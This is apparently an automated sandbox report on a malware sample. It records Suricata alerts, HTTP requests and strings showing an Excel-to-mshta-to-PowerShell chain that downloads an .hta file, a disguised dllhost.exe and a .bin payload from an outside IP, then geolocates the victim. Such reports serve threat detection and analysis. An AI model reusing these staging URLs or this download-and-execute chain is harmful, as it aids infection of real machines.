Source: Joe Sandbox View IP Address: 178.237.33.50 178.237.33.50
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.22:49173 -> 192.3.220.22:80
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.22:49176 -> 178.237.33.50:80
Source: Network traffic Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.22:49177 -> 192.3.220.22:80
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /2Rxzb3 HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: og1.inConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /2Rxzb3 HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: og1.inConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /2Rxzb3 HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: og1.inConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /2Rxzb3 HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: og1.inConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/en/cookienetbookinetcahce.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.220.22Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/en/cookienetbookinetcahce.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 192.3.220.22If-Range: "1ceb2-62345be2e2e61"
Source: global traffic HTTP traffic detected: GET /430/dllhost.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.220.22Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/en/cookienetbookinetcahce.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Sun, 29 Sep 2024 17:51:50 GMTConnection: Keep-AliveHost: 192.3.220.22If-None-Match: "1ceb2-62345be2e2e61"
Source: global traffic HTTP traffic detected: GET /hFXELFSwRHRwqbE214.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 192.3.220.22Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /hFXELFSwRHRwqbE214.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 192.3.220.22Cache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.22
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE896F7018 URLDownloadToFileW, 7_2_000007FE896F7018
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\82C6F378.emf Jump to behavior
Source: global traffic HTTP traffic detected: GET /2Rxzb3 HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: og1.inConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /2Rxzb3 HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: og1.inConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /2Rxzb3 HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: og1.inConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /2Rxzb3 HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: og1.inConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/en/cookienetbookinetcahce.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.220.22Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/en/cookienetbookinetcahce.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 192.3.220.22If-Range: "1ceb2-62345be2e2e61"
Source: global traffic HTTP traffic detected: GET /430/dllhost.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.220.22Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/en/cookienetbookinetcahce.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Sun, 29 Sep 2024 17:51:50 GMTConnection: Keep-AliveHost: 192.3.220.22If-None-Match: "1ceb2-62345be2e2e61"
Source: global traffic HTTP traffic detected: GET /hFXELFSwRHRwqbE214.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 192.3.220.22Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /hFXELFSwRHRwqbE214.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 192.3.220.22Cache-Control: no-cache
Source: Vaccinerende.exe String found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
Source: Vaccinerende.exe String found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: og1.in
Source: global traffic DNS traffic detected: DNS query: geoplugin.net
Source: mshta.exe, 00000004.00000002.417244267.00000000033BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.00000000033BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413946521.00000000033BC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/
Source: powershell.exe, 00000007.00000002.434786957.0000000002FFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.479817740.0000000002952000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/430/dllhost.
Source: powershell.exe, 00000013.00000002.479817740.0000000002952000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.535608601.000000001C286000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/430/dllhost.exe
Source: powershell.exe, 00000007.00000002.447277326.000000001A99F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/430/dllhost.exe%m
Source: powershell.exe, 00000007.00000002.434786957.0000000002FFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.479817740.0000000002952000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/430/dllhost.exep
Source: mshta.exe, 0000000F.00000002.472217661.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/ic
Source: mshta.exe, 0000000F.00000002.472217661.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/videro
Source: mshta.exe, 00000004.00000002.414718403.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.414694836.0000000000465000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.00000000033BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.00000000033BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003320000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414241682.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413946521.00000000033BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.460570080.00000000003CE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471733215.0000000003D9C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471568642.00000000003CC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003E11000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003E11000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003E11000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472196529.0000000003D9C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/xampp/en/cookienetbookinetcahce.hta
Source: mshta.exe, 00000004.00000002.417244267.0000000003320000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/xampp/en/cookienetbookinetcahce.hta9p
Source: mshta.exe, 0000000F.00000002.471964740.000000000035A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.459453313.0000000003E3C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/xampp/en/cookienetbookinetcahce.htaC:
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/xampp/en/cookienetbookinetcahce.htaF
Source: mshta.exe, 0000000F.00000003.471733215.0000000003DBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472196529.0000000003DBC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/xampp/en/cookienetbookinetcahce.htaMy
Source: mshta.exe, 00000004.00000002.417244267.00000000033BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.00000000033BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413946521.00000000033BC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/xampp/en/cookienetbookinetcahce.htaP
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/xampp/en/cookienetbookinetcahce.htaQ
Source: mshta.exe, 00000004.00000003.414430980.0000000002A05000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.468769729.0000000002D35000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470941601.0000000002D35000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.22/xampp/en/cookienetbookinetcahce.htahttp://192.3.220.22/xampp/en/cookienetbookine
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C421000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.447277326.000000001AA4E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: Vaccinerende.exe, 0000001C.00000003.782206298.00000000003AC000.00000004.00000020.00020000.00000000.sdmp, Vaccinerende.exe, 0000001C.00000003.782247647.00000000003AC000.00000004.00000020.00020000.00000000.sdmp, Vaccinerende.exe, 0000001C.00000003.782223915.00000000003AC000.00000004.00000020.00020000.00000000.sdmp, Vaccinerende.exe, 0000001C.00000003.782756123.00000000003AC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 00000007.00000002.449310498.000000001C553000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://go.cr
Source: powershell.exe, 00000007.00000002.434786957.0000000002703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.479817740.0000000002BAA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://go.micros
Source: powershell.exe, 0000000C.00000002.775886453.00000000001E9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://go.microso
Source: dllhost.exe, 0000000B.00000002.442142860.000000000040A000.00000004.00000001.01000000.0000000B.sdmp, dllhost.exe, 0000000B.00000000.434267277.000000000040A000.00000008.00000001.01000000.0000000B.sdmp, dllhost.exe, 00000017.00000000.475272548.000000000040A000.00000008.00000001.01000000.0000000B.sdmp, dllhost.exe, 00000017.00000002.487716282.000000000040A000.00000004.00000001.01000000.0000000B.sdmp, Vaccinerende.exe, 0000001C.00000000.717210149.000000000040A000.00000008.00000001.01000000.0000000D.sdmp, Vaccinerende.exe, 00000032.00000000.848787403.000000000040A000.00000008.00000001.01000000.0000000D.sdmp, Vaccinerende.exe, 00000039.00000000.901018571.000000000040A000.00000008.00000001.01000000.0000000D.sdmp String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000007.00000002.445540287.0000000012531000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.793905952.0000000003479000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
